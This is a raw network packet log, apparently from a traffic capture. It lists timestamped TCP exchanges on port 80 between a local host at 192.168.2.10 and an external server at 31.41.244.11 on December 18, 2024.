Dec 18, 2024 15:56:17.121612072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.121769905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.121824980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.122431993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.122482061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.122522116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.122567892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.123137951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.123188972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.123267889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.123320103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.123749971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.123799086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.123799086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.123845100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.124393940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.124444962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.124476910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.124517918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.125127077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.125174046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.125216961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.125263929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.125889063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.125937939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.125940084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.125977993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.126575947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.126622915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.126872063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.126923084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.127408981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.127448082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.127458096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.127486944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.128097057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.128145933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.128180981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.128225088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.128736973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.128779888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.128824949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.128870964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.129452944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.129501104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.129661083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.129707098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.130374908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.130422115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.130455017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.130503893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.131100893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.131114006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.131151915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.131838083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.131889105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.131964922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.132008076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.132404089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.132460117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.132486105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.132531881 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.133119106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.133167028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.133215904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.133261919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.133949041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.133996964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.134206057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.134257078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.134919882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.134964943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.134964943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.135010958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.135658979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.135695934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.135701895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.135735989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.136219978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.136265039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.136297941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.136342049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.136784077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.136795998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.136835098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.137495995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.137545109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.137609005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.137661934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.138392925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.138442039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.138442039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.138484001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.139141083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.139189959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.139192104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.139236927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.139797926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.139847994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.139895916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.139940977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.140396118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.140441895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.140526056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.140574932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.141128063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.141170979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.141226053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.141271114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.142085075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.142131090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.142302990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.142347097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.142874002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.142920971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.142963886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.143009901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.262684107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.262711048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.262851000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.263027906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.263087034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.263256073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.263303995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.263758898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.263814926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.263885975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.263932943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.264461994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.264512062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300015926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300045967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300113916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300141096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300249100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300296068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300436974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300482035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300807953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300860882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.300895929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.300939083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.301461935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.301506042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.301578999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.301636934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.302123070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.302170038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.302197933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.302237034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.302856922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.302906036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.302949905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.302995920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.303637981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.303683996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.303822994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.303874016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.304507017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.304554939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.304611921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.304657936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.305279970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.305330038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.305361032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.305407047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.306090117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.306139946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.306243896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.306284904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.306931973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.306979895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.307176113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.307224035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.307677031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.307725906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.307806015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.307852983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.308265924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.308309078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.308392048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.308443069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.309021950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.309070110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.309132099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.309180021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.309592009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.309639931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.309658051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.309700012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.310215950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.310282946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.310399055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.310446024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.310939074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.311049938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.311167955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.311167955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.311619997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.311692953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.311692953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.311734915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.312305927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.312355042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.312400103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.312446117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.313046932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.313097000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.313133955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.313178062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.313767910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.313815117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.313982010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.314032078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.314527035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.314573050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.314646006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.314690113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.315216064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.315263987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.315346956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.315393925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.316032887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.316083908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.316097975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.316143036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.316852093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.316903114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.317114115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.317158937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.317513943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.317560911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.317709923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.317759037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.318182945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.318229914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.318233967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.318275928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.318891048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.318938971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.318970919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.319020033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.319703102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.319722891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.319751024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.319765091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.320372105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.320422888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.320496082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.320539951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.321144104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.321204901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.321238995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.321305037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.321819067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.321873903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.321888924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.321933985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.322608948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.322650909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.322679996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.322727919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.323476076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.323493958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.323522091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.323534966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.324085951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.324131966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.324210882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.324256897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.324804068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.324846983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.324867964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.324912071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.325673103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.325732946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.325818062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.325881958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.326154947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.326211929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.326280117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.326332092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.326930046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.326992989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.327130079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.327203989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.327603102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.327665091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.327752113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.327800035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.328361988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.328408003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.328465939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.328516006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.329077005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.329128981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.329186916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.329236031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.329802036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.329854965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.329909086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.329957008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.330517054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.330566883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.330574989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.330622911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.331332922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.331387043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.331418991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.331470966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.331975937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.332030058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.332170010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.332217932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.332721949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.332771063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.332803011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.332849979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.333432913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.333483934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.333573103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.333622932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.334160089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.334209919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.334296942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.334345102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.334984064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.335037947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.335045099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.335103035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.454948902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.454983950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.455087900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.455311060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.455373049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.455410004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.455523968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.456056118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.456073046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.456129074 CET	49749	80	192.168.2.10	31.41.244.11
